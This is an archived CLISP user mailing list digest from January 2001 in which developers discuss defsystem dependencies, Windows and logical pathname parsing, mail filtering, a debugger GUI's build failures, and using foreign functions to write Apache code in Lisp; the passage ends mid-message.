Mon, 8 Jan 2001 17:28:24 -0500 Date: Mon, 8 Jan 2001 17:28:24 -0500 Message-Id: <200101082228.RAA02064@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: clisp-list@sourceforge.net In-reply-to: (message from Sam Steingold on 08 Jan 2001 14:36:09 -0500) Subject: Re: [clisp-list] defsystem: a system which depends on another system References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > X-Envelope-To: > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0 > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > Date: 08 Jan 2001 14:36:09 -0500 > Content-Length: 657 > > Suppose I have a system which depends on some files in another > system. They shouldn't. If this is the case the dependency should be on the whole "other" system. > is there a way to specify this in *.system? > I mean, is there an easier alternative to > > $ cd sys1 > $ make system > $ cd ../sys2 > $ make system Apart from the above comment, this is one of the subtle semantics issues that should be resolved prior to implementation. At the time of this writing MK-DEFSYSTEM-3.2i pretty much forces you to do what you say you do. Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From marcoxa@cs.nyu.edu Mon Jan 08 15:04:00 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14FlKZ-00042g-00 for ; Mon, 08 Jan 2001 15:04:00 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id SAA02182; Mon, 8 Jan 2001 18:04:53 -0500 Date: Mon, 8 Jan 2001 18:04:53 -0500 Message-Id: <200101082304.SAA02182@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: marcoxa@cs.nyu.edu CC: sds@gnu.org, clisp-list@sourceforge.net In-reply-to: <200101082228.RAA02064@octagon.mrl.nyu.edu> (message from Marco Antoniotti on Mon, 8 Jan 2001 17:28:24 -0500) Subject: Re: [clisp-list] defsystem: a system which depends on another system References: <200101082228.RAA02064@octagon.mrl.nyu.edu> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: As an aside, the clocc-* and clisp-* postings have started to appear as coming from a number of different addresses: clisp-list@sourceforge.net, cloccl-devel@users.sourceforge.net and so on. Is this a Sourceforge quirkiness or it is something that people do? It is messing up my .procmailrc. :) Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From rurban@sbox.tu-graz.ac.at Mon Jan 08 17:11:58 2001 Received: from viemta05.chello.at ([195.34.133.55]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14FnKQ-0008Fs-00 for ; Mon, 08 Jan 2001 17:11:58 -0800 Received: from sbox.tu-graz.ac.at ([212.186.199.154]) by viemta05.chello.at (InterMail vK.4.03.01.00 201-232-122 license 9caa03a7df1d31c048ffcc0d31ac5855) with ESMTP id <20010109011212.SMC15601.viemta05@sbox.tu-graz.ac.at>; Tue, 9 Jan 2001 02:12:12 +0100 Message-ID: <3A5A6565.D5B9DC9F@sbox.tu-graz.ac.at> Date: Tue, 09 Jan 2001 03:12:05 +0200 From: Reini Urban Organization: http://xarch.tu-graz.ac.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: en,de MIME-Version: 1.0 To: Marco Antoniotti CC: clisp-list@sourceforge.net Subject: Re: [clisp-list] defsystem: a system which depends on another system References: <200101082228.RAA02064@octagon.mrl.nyu.edu> <200101082304.SAA02182@octagon.mrl.nyu.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Marco Antoniotti schrieb: > the clocc-* and clisp-* postings have started to appear as coming from > a number of different addresses: clisp-list@sourceforge.net, > cloccl-devel@users.sourceforge.net and so on. and for me so far. my new filter is only '^clisp-list@' now. -- Reini Urban http://xarch.tu-graz.ac.at/autocad/news/faq/autolisp.html From Hannu.Koivisto@ionific.com Tue Jan 09 00:06:33 2001 Received: from [195.197.252.71] (helo=lynx.ionific.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14Ftnc-0003Gl-00 for ; Tue, 09 Jan 2001 00:06:33 -0800 Received: from azure by lynx.ionific.com with local (Exim 3.12 #1 (Debian)) id 14Ftnm-0004yT-00; Tue, 09 Jan 2001 10:06:42 +0200 To: clisp-list@sourceforge.net Subject: Re: [clisp-list] defsystem: a system which depends on another system References: <4nvgrperkf.fsf@rtp.ericsson.se> Mail-copies-to: never From: Hannu Koivisto Date: 09 Jan 2001 10:06:42 +0200 In-Reply-To: Message-ID: <87zoh140a5.fsf@lynx.ionific.com> Lines: 31 User-Agent: Gnus/5.090001 (Oort Gnus v0.01) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: | > * Honorable Raymond Toy writes: ... | > The docs for defsystem says you can make systems depend on other | > systems. | > | > (defsystem sys2 | > (:depends-on "sys1") | > ...) | > | > or something like that. | | yeah - I tried that already: | it cannot find the "sys1" dependency even though I load sys1.system | within sys2.system! Try (defsystem sys2 ... :depends-on (sys1) ...) instead. I use this feature a *lot* so I know it definitely works. If it doesn't for you, then there is something fishy going on :) -- Hannu From gko@gko.net Tue Jan 09 06:51:53 2001 Received: from 76.c138.ethome.net.tw ([202.178.138.76] helo=symbiose.dnsalias.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14G07q-0008Kl-00 for ; Tue, 09 Jan 2001 06:51:52 -0800 Received: (from gko@localhost) by symbiose.dnsalias.net (8.9.3/8.9.3) id WAA29580; Tue, 9 Jan 2001 22:50:55 +0800 X-Authentication-Warning: symbiose.dnsalias.net: gko set sender to gko@gko.net using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? References: <14931.12352.754483.923017@honolulu.ilog.fr> Organization: Entropie Content-Type: text/plain; charset="iso-8859-1" Mail-Copies-To: gko@gko.net From: Georges KO Date: 09 Jan 2001 22:50:55 +0800 In-Reply-To: Message-ID: Lines: 23 User-Agent: Gnus/5.090001 (Oort Gnus v0.01) Emacs/20.7 MIME-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold wrote: > > Well, it would be nice if this kind of namestrings was > > implemented, as I need to do things such as probe-file, load, open, > > etc. on a set of Windows machines. > > done - see the current CVS or the snapshots on cellar.goems.com (it will > be up for some time, but not for long, I hope to move the snapshots > infrastructure either to sourceforge or to cons.org). Thanks ! As I have no compiler installed on my machine, is there a binary version of the latest CVS for Win32 (like, the one you got when you compiled your version) ? Also, it seems that passing logical pathnames to open, probe-file, etc. doesn't work, that is, I have to translate them to pathnames... Thanks. Georges. -- Georges KO (Taipei, Taiwan) 2001-01-09 gko@gko.net / ICQ: 8719684 Day 2 of week 2 of 2001 From sds@gnu.org Tue Jan 09 07:13:34 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14G0Sr-0002A5-00 for ; Tue, 09 Jan 2001 07:13:34 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA19742; Tue, 9 Jan 2001 10:13:45 -0500 (EST) X-Envelope-To: To: Georges KO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? References: <14931.12352.754483.923017@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Georges KO's message of "09 Jan 2001 22:50:55 +0800" Date: 09 Jan 2001 10:10:25 -0500 Message-ID: Lines: 29 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?" > * Sent on 09 Jan 2001 22:50:55 +0800 > * Honorable Georges KO writes: > > Thanks ! As I have no compiler installed on my machine, is there a > binary version of the latest CVS for Win32 (like, the one you got when > you compiled your version) ? I could probably create one, but I won't. Please understand: this is a development version, not even a pretest. It does contain numerous _known_ bugs. You would probably be better off using the release. We do understand that it has been almost a year since the last release, and we hope to make another release more or less soon (don't hold your breath though). > Also, it seems that passing logical pathnames to open, probe-file, > etc. doesn't work, that is, I have to translate them to pathnames... the next release will have LISP:*PARSE-NAMESTRING-ANSI* (NIL by default, set to T by LISP:*ANSI* and `-a'), which controls this. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on There's always free cheese in a mousetrap. From marcoxa@cs.nyu.edu Tue Jan 09 07:24:57 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14G0dt-0003Tr-00 for ; Tue, 09 Jan 2001 07:24:57 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id KAA12811; Tue, 9 Jan 2001 10:25:45 -0500 Date: Tue, 9 Jan 2001 10:25:45 -0500 Message-Id: <200101091525.KAA12811@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: gko@gko.net, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 09 Jan 2001 10:10:25 -0500) Subject: Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? References: <14931.12352.754483.923017@honolulu.ilog.fr> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > From: Sam Steingold > Date: 09 Jan 2001 10:10:25 -0500 ... > the next release will have LISP:*PARSE-NAMESTRING-ANSI* (NIL by default, > set to T by LISP:*ANSI* and `-a'), which controls this. What will this entail? Also, why not make the ANSI behavior the default? Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From sds@gnu.org Tue Jan 09 08:21:17 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14G1WP-00010k-00 for ; Tue, 09 Jan 2001 08:21:17 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA04650; Tue, 9 Jan 2001 11:21:28 -0500 (EST) X-Envelope-To: To: Marco Antoniotti Cc: gko@gko.net, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? References: <14931.12352.754483.923017@honolulu.ilog.fr> <200101091525.KAA12811@octagon.mrl.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Marco Antoniotti's message of "Tue, 9 Jan 2001 10:25:45 -0500" Date: 09 Jan 2001 11:18:05 -0500 Message-ID: Lines: 25 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200101091525.KAA12811@octagon.mrl.nyu.edu> > * On the subject of "Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?" > * Sent on Tue, 9 Jan 2001 10:25:45 -0500 > * Honorable Marco Antoniotti writes: > > > From: Sam Steingold > > Date: 09 Jan 2001 10:10:25 -0500 > > the next release will have LISP:*PARSE-NAMESTRING-ANSI* (NIL by default, > > set to T by LISP:*ANSI* and `-a'), which controls this. > > What will this entail? (pathname "host:dir;name.ext") will be the same as (pathname (translate-logical-pathname "host:dir;name.ext")) > Also, why not make the ANSI behavior the default? because win32 paths like "c:\\dir\\name.ext" make logical paths ambiguous. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on In every non-trivial program there is at least one bug. From marcoxa@cs.nyu.edu Tue Jan 09 10:55:50 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14G3vy-0006GT-00 for ; Tue, 09 Jan 2001 10:55:50 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id NAA13421; Tue, 9 Jan 2001 13:56:44 -0500 Date: Tue, 9 Jan 2001 13:56:44 -0500 Message-Id: <200101091856.NAA13421@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: gko@gko.net, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 09 Jan 2001 11:18:05 -0500) Subject: Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? References: <14931.12352.754483.923017@honolulu.ilog.fr> <200101091525.KAA12811@octagon.mrl.nyu.edu> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > X-Envelope-To: > Cc: gko@gko.net, clisp-list@lists.sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > Date: 09 Jan 2001 11:18:05 -0500 > User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 > Content-Type: text/plain; charset=us-ascii > Content-Length: 1002 > > > * In message <200101091525.KAA12811@octagon.mrl.nyu.edu> > > * On the subject of "Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?" > > * Sent on Tue, 9 Jan 2001 10:25:45 -0500 > > * Honorable Marco Antoniotti writes: > > > > > From: Sam Steingold > > > Date: 09 Jan 2001 10:10:25 -0500 > > > the next release will have LISP:*PARSE-NAMESTRING-ANSI* (NIL by default, > > > set to T by LISP:*ANSI* and `-a'), which controls this. > > > > What will this entail? > > (pathname "host:dir;name.ext") will be the same as > (pathname (translate-logical-pathname "host:dir;name.ext")) As it should be. > > > Also, why not make the ANSI behavior the default? > > because win32 paths like "c:\\dir\\name.ext" make logical paths > ambiguous. You can easily disambiguate this case. The presence of the #\\ character right after the "c:" tells you that this cannot be treated as a logical pathname. LWW and ACL do the expected thing. Moreover, if I the ANSI modality on, what will happen when I say (pathname "c:\\dir\\name.ext") ? The problem with the Windows filenames is "c:zut.ext." as the problem with UNIX is ".cshrc" (as per the message just appeared on CLL). Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From pvaneynd@yucom.be Tue Jan 09 11:29:17 2001 Received: from yuclnx1.yucom.be ([212.8.180.35]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.16 #1 (Debian)) id 14G4SK-00019P-00 for ; Tue, 09 Jan 2001 11:29:17 -0800 Received: (qmail 4859 invoked by uid 504); 9 Jan 2001 19:33:24 -0000 Received: from dh165-207.yucom.be (HELO marvin.debian.net) (212.8.165.207) by yuclnx1.yucom.be with SMTP; 9 Jan 2001 19:33:24 -0000 Received: from pvaneynd by marvin.debian.net with local (Exim 3.20 #1 (Debian)) id 14G4Rl-0000Rq-00; Tue, 09 Jan 2001 20:28:41 +0100 Date: Tue, 9 Jan 2001 20:28:41 +0100 From: Peter Van Eynde To: Reini Urban Cc: Marco Antoniotti , clisp-list@sourceforge.net Subject: Re: [clisp-list] defsystem: a system which depends on another system Message-ID: <20010109202841.B31692@yucom.be> References: <200101082228.RAA02064@octagon.mrl.nyu.edu> <200101082304.SAA02182@octagon.mrl.nyu.edu> <3A5A6565.D5B9DC9F@sbox.tu-graz.ac.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.12i In-Reply-To: <3A5A6565.D5B9DC9F@sbox.tu-graz.ac.at>; from rurban@sbox.tu-graz.ac.at on Tue, Jan 09, 2001 at 03:12:05AM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Tue, Jan 09, 2001 at 03:12:05AM +0200, Reini Urban wrote: > > > Marco Antoniotti schrieb: > > the clocc-* and clisp-* postings have started to appear as coming from > > a number of different addresses: clisp-list@sourceforge.net, > > cloccl-devel@users.sourceforge.net and so on. > > and for me so > far. > my new filter is only '^clisp-list@' now. My .procmail has: :0 H * ^List-Id: .*[<].*\.lists\.sourceforge\.net[>] * ^List-Id: .*[<] *\/[^.]* $MATCH and it seems to work... Groetjes, Peter -- It's logic Jim, but not as we know it. | pvaneynd@debian.org "God, root, what is difference?" - Pitr| "God is more forgiving." - Dave Aronson| http://cvs2.cons.org/~pvaneynd/ From sds@gnu.org Wed Jan 10 07:25:17 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14GN7l-0006KP-00 for ; Wed, 10 Jan 2001 07:25:17 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA23105; Wed, 10 Jan 2001 10:25:36 -0500 (EST) X-Envelope-To: To: Marco Antoniotti Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? References: <14931.12352.754483.923017@honolulu.ilog.fr> <200101091525.KAA12811@octagon.mrl.nyu.edu> <200101091856.NAA13421@octagon.mrl.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Marco Antoniotti's message of "Tue, 9 Jan 2001 13:56:44 -0500" User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 Date: 10 Jan 2001 10:22:34 -0500 Message-ID: Lines: 43 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200101091856.NAA13421@octagon.mrl.nyu.edu> > * On the subject of "Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?" > * Sent on Tue, 9 Jan 2001 13:56:44 -0500 > * Honorable Marco Antoniotti writes: > > > (pathname "host:dir;name.ext") will be the same as > > (pathname (translate-logical-pathname "host:dir;name.ext")) > > As it should be. as per the ANSI CL spec, yes. > > > Also, why not make the ANSI behavior the default? > > > > because win32 paths like "c:\\dir\\name.ext" make logical paths > > ambiguous. > > You can easily disambiguate this case. The presence of the #\\ > character right after the "c:" tells you that this cannot be treated > as a logical pathname. what about "c:" and "c:file.path"? if there are logical pathnames and there is no logical host "c", we must signal an error. if this is a physical pathname, we cannot define a logical host "c". if we check for existence of logical host "c" before deciding what kind of pathname this is, than the interpretation of this path might change with time, which can be a bitch to deal with. Marco, you are preaching to a converted. I believe that whatever ANSI said must be implemented no matter how stupid - just because the users expect it. I think `-a' should be the default. Bruno is opposed to it. The issue is closed as far as we are concerned. All further question should be directed to Bruno. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Diplomacy is the art of saying "nice doggy" until you can find a rock. From amundson@fnal.gov Fri Jan 12 08:30:45 2001 Received: from abacus.fnal.gov ([131.225.84.108]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14H76D-0002Qf-00 for ; Fri, 12 Jan 2001 08:30:45 -0800 Received: from fnal.gov (localhost [127.0.0.1]) by abacus.fnal.gov (8.9.3/8.9.3) with ESMTP id KAA04011 for ; Fri, 12 Jan 2001 10:31:11 -0600 Message-ID: <3A5F314E.862EA6CD@fnal.gov> Date: Fri, 12 Jan 2001 10:31:10 -0600 From: James Amundson Organization: CD/ODS X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Debugger References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold wrote: > in addition to the built-in CLISP debugger > (http://clisp.sourceforge.net/impnotes.html#debugger) > there is a GUI http://bewoner.dma.be/marclisp/intro.html Have others had luck using the above-mentioned GUI with CLISP? I tried about six months ago, but I simply couldn't get it to work. If others have it working, I'll try again. --Jim Amundson From rurban@sbox.tu-graz.ac.at Fri Jan 12 18:57:50 2001 Received: from viemta04.chello.at ([195.34.133.54]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14HGt3-00085l-00 for ; Fri, 12 Jan 2001 18:57:50 -0800 Received: from sbox.tu-graz.ac.at ([212.186.199.154]) by viemta04.chello.at (InterMail vK.4.03.01.00 201-232-122 license 9caa03a7df1d31c048ffcc0d31ac5855) with ESMTP id <20010113025815.EDWD341.viemta04@sbox.tu-graz.ac.at>; Sat, 13 Jan 2001 03:58:15 +0100 Message-ID: <3A5FC442.DC44A1B3@sbox.tu-graz.ac.at> Date: Sat, 13 Jan 2001 04:58:10 +0200 From: Reini Urban Organization: http://xarch.tu-graz.ac.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: en,de MIME-Version: 1.0 To: James Amundson , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Debugger References: <3A5F314E.862EA6CD@fnal.gov> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: James Amundson schrieb: > Have others had luck using the above-mentioned GUI with CLISP? I tried > about six months ago, but I simply couldn't get it to work. If others > have it working, I'll try again. hmm, doesn't seem to be good for my system either. my bash (cygwin) seems to fail on internal function definitions today. cd lispdebug-0.92/cfiles /lisp/lispdebug-0.92/cfiles$ ./configure ./configure: 520: Syntax error: "(" unexpected /lisp/lispdebug-0.92/cfiles$ head -n530 configure |tail function exit_error () { echo "Failed to configure the interface" echo "ERROR::$1" exit -1 } /lisp/lispdebug-0.92/cfiles$ autoconf /lisp/lispdebug-0.92/cfiles$ ./configure ./configure: 520: Syntax error: "(" unexpected /lisp/lispdebug-0.92/cfiles$ grep -n CAHCE *.in configure.in:4:define([AC_CAHCE_SAVE],)dnl /lisp/lispdebug-0.92$ ./install-clisp add /usr/local . /usr/local/lisp lisp ./install-clisp: 36: Syntax error: "(" unexpected -- Reini Urban http://xarch.tu-graz.ac.at/autocad/news/faq/autolisp.html From cmcurtin@interhack.net Sat Jan 13 19:58:30 2001 Received: from panoramix.valinux.com ([198.186.202.147] helo=mail2.valinux.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14HeJK-0001Yj-01 for ; Sat, 13 Jan 2001 19:58:30 -0800 Received: from strangepork.interhack.net ([38.194.92.68]) by mail2.valinux.com with esmtp (Exim 3.16 #1 (Debian)) id 14HchQ-0003IK-00 for ; Sat, 13 Jan 2001 18:15:17 -0800 Received: from animal.interhack.net (animal.interhack.net [38.194.92.69]) by strangepork.interhack.net (8.11.0/8.11.0) with ESMTP id f0E285Z00595 for ; Sat, 13 Jan 2001 21:08:10 -0500 (EST) Received: (from cmcurtin@localhost) by animal.interhack.net (980427.SGI.8.8.8/8.8.5) id VAA43329; Sat, 13 Jan 2001 21:07:43 -0500 (EST) To: clisp-list@lists.sourceforge.net X-Face: L"IcL.b%SDN]0Kql2b`e.}+i05V9fi\yX#H1+Xl)3!+n/3?5`%-SA-HDgPk9uTk<3dv^J5DCgal)-E{`zN#*o6F|y>r)\< Date: 13 Jan 2001 21:07:41 -0500 Message-ID: <867l3yhonm.fsf@animal.interhack.net> Lines: 40 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Foreign functions, or, How can I write web server code with CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Might there be any documentation or example code for using CLISP's interface to foreign objects? I'm contemplating talking to the Apache API. (I also want to know for other reasons -- I'm also interested in talking to libpcap...) I'd really like to be able to find a way to write Apache servlets in Common Lisp. There has to be a way to do this without a lot of pain and suffering being involved: o I don't want to port some behemoth like CL-HTTP to CLISP so I can write web code (CL-HTTP doesn't seem to work with CMUCL 18c); o Apache seems to be doing a good job of tying programs and whatnot to the web, so I say, let it manage that job; o Because CLISP is able to write such small images, it seems like it's in a good position to compete, resource-wise, with less optimal languages that have a reputation of producing small and fast runtime code. o I tried to get the onShore IMHO stuff running, using Apache JServ and its connection to CMUCL, which rapidly got way out of control. Just for giggles, a few minutes ago, I did a completely unscientific experiment to test the relative level of load for Perl/CGI code as compared to essentially the same thing using CLISP. In a trivial "Hello, Web" Perl program, I was able to drive the load up to about .35 on my Indy just by continuously banging on the program for about 30 seconds. I did the same thing with a "Hello, Web" program written in Common Lisp, compiled, and dumped to a memory image, then wrapped with some Bourne shell that would invoke clisp quietly, without loading startup stuff, and using the image I dumped. Banging away on the server, I was able to get the load up to about .25. Of course, this isn't highly important, since I really don't want to write CGI code, but having just cranked out some CGI Perl to get a small job done quickly, I'm beginning to wonder if 